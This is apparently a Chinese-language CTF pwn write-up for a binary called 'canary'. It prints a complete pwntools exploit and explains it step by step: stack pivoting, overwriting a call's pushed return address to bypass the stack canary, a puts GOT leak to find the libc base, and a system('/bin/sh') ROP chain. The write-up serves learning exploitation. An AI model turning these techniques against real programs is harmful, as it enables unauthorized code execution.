有意思的canary
技术16-06-2023
勘误
感谢大专老哥,让我一直以来错误的思想完全纠错了过来。 不得不说,现在pwn的题目脑洞真的大。 连续三次遇到非常规的栈迁移和非常规的格式化字符串。 这里给出某战队师傅的锐评
水完这篇就不写了,上线代课的时候,忽然想到自己这里理解错了,虽然也写出来了,之前公众号一篇文章里面的一道题。
声东击西|三道有意思的pwn题
速度速度,搞完四级。
哦对,以后打比赛,写题目,最快的方法就是调试,调到栈上的返回地址啊什么的,为我们想要的,这样就能快速避免出错了!!!也不用去思考究竟便宜多少。一步步rop嘛。分解动作去调试完成。
题目
- 本题的重点在于如何绕过canary
EXP
废话不多说,先看exp
from pwn import *
context.log_level = 'debug'
#io = gdb.debug('./canary')
p = process('./canary')
elf = ELF('./canary')
libc = elf.libc
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
DEBUG = 0
def debug(bp = None):
if DEBUG == 1:
if bp != None:
gdb.attach(p, bp)
else:
gdb.attach(p)
main = 0x401296
main2 = 0x40133f
gift = 0x401258
pop_rdi = 0x4013e3
ret = 0x40101a
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
sla(b"functions?\n", b'0')
s(p64(0x404900) + p64(main))
sla(b"functions?\n", b'0')
s(p64(0x404948) + p64(gift))
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(gift) + b'a' * 0x28 #+ p64(0x404900)
pause()
s(payload)
libc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
pr('libc_base', libc.address)
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
payload = b'a' * 0x18 + p64(pop_rdi) + p64(binsh) + p64(system)
pause()
s(payload)
shell()
重点:理解ret和call和参数寻址和
- call指令,将当前的地址push进去,也就是说,esp会下移动一个位
- ret指令,将pop当前esp指向的内容到eip,就就是说,esp会上移动一个位
- 参数寻址:不管esp如何,通过ebp定位,也就是说esp负责流程控制,ebp负责数据的定位
本题的详细分析
- 通过主main函数的read来覆盖ebp,两次实现栈迁移(注意第一次迁移之后,read写入的位置)
- 通过gift里面call read来写栈的同时,也通过覆盖push进去的eip来绕过canary
第一次迁移rbp
sla(b"functions?\n", b'0')
s(p64(0x404900) + p64(main))
第二次迁移rsp,于写目标栈
sla(b"functions?\n", b'0')
s(p64(0x404948) + p64(gift))
目标栈写rop链同时,覆盖call返回绕过canary
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(gift) + b'a' * 0x28 + p64(0x404900)
成功指向并泄露libc
libc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
pr('libc_base', libc.address)
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
再次覆盖gift里面的call,从而再次绕过canary直接getshell
payload = b'a' * 0x18 + p64(pop_rdi) + p64(binsh) + p64(system)
pause()
s(payload)
shell()